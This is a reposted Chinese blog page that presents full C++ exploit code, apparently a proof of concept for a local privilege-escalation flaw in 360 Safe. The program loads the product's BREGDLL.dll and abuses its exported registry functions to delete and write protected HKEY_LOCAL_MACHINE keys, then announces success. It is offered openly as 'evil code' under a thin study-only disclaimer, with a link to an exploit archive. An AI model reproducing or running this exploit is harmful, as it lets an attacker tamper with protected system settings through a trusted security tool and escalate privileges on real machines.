360卫士本地提权漏洞——后门利用程序

来源:互联网 发布:类似iphone软件推荐 编辑:程序博客网 时间:2024/06/05 19:21

360卫士本地提权漏洞——后门利用程序

分类: C、VC/MFC 324人阅读 评论(0) 收藏 举报
360winapinulldeletebytepath

很邪恶的代码,有兴趣的看看~~~

 

[cpp] view plaincopyprint?
  1. //////////////////////////////////////////////////////////////////////////  
  2. // Fuck360.cpp 源代码仅供学习交流,请不要尝试非法用途!  
  3. #include <windows.h>  
  4. typedef BOOL (WINAPI *INIT_REG_ENGINE)();  
  5. typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);  
  6. typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);  
  7. typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);  
  8. typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);  
  9. BREG_DELETE_KEY     BRegDeleteKey  = NULL;  
  10. BREG_OPEN_KEY       BRegOpenKey    = NULL;  
  11. BREG_CLOSE_KEY      BRegCloseKey   = NULL;  
  12. REG_SET_VALUE_EX    BRegSetValueEx = NULL;  
  13. #define AppPath             "Software//Microsoft//Windows//CurrentVersion//App Paths//360safe.exe"  
  14. #define TestDeleteKey       HKEY_LOCAL_MACHINE  
  15. #define TestDeleteRegPath   "Software//360Safe//Update"  
  16. #define TestSetKey          HKEY_LOCAL_MACHINE  
  17. #define TestSetPath         "Software//360Safe"  
  18. BOOL InitBRegDll()  
  19. {  
  20.     LONG lResult;  
  21.     HKEY hKey;  
  22.       
  23.     CHAR cPath[MAX_PATH + 32] = { 0 };  
  24.     DWORD dwPathLen = MAX_PATH;  
  25.       
  26.     lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);  
  27.     if (FAILED(lResult))  
  28.         return FALSE;  
  29.       
  30.     DWORD dwType = REG_SZ;  
  31.     lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);  
  32.     RegCloseKey(hKey);  
  33.     if (FAILED(lResult))  
  34.         return FALSE;  
  35.       
  36.     strcat(cPath, "//deepscan//BREGDLL.dll");  
  37.     HMODULE modBReg = LoadLibraryA(cPath);  
  38.     if (!modBReg)  
  39.         return FALSE;  
  40.     INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");  
  41.     BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");  
  42.     BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");  
  43.     BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");  
  44.     BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");  
  45.       
  46.     if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {  
  47.         FreeLibrary(modBReg);  
  48.         return FALSE;  
  49.     }  
  50.       
  51.     if (!InitRegEngine()) {  
  52.         FreeLibrary(modBReg);  
  53.         return FALSE;  
  54.     }  
  55.       
  56.     return TRUE;  
  57. }  
  58. LONG TestSetRegKey()  
  59. {  
  60.     HKEY hKey;  
  61.     LONG lResult;  
  62.       
  63.     lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);  
  64.     if (FAILED(lResult))  
  65.         return lResult;  
  66.       
  67.     DWORD dwType = REG_SZ;  
  68.     static char szData[] = "TEST VALUE";  
  69.     lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));  
  70.     BRegCloseKey(hKey);  
  71.       
  72.     return lResult;  
  73. }  
  74. int main(int argc, char *argv[])  
  75. {  
  76.     if (!InitBRegDll()) {  
  77.         MessageBoxA(NULL, "初始化BReg失败!""失败", MB_ICONSTOP);  
  78.         return 1;  
  79.           
  80.     }  
  81.     if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {  
  82.         MessageBoxA(NULL, "键值删除失败!""失败", MB_ICONSTOP);  
  83.         return 2;  
  84.           
  85.     }  
  86.       
  87.     if (FAILED(TestSetRegKey())) {  
  88.         MessageBoxA(NULL, "设置键值失败!""失败", MB_ICONSTOP);  
  89.         return 3;  
  90.     }  
  91.       
  92.     MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!""成功", MB_OK);  
  93.     return 0;  
  94. }  

 

相关链接:http://www.sebug.net/exploit/19048/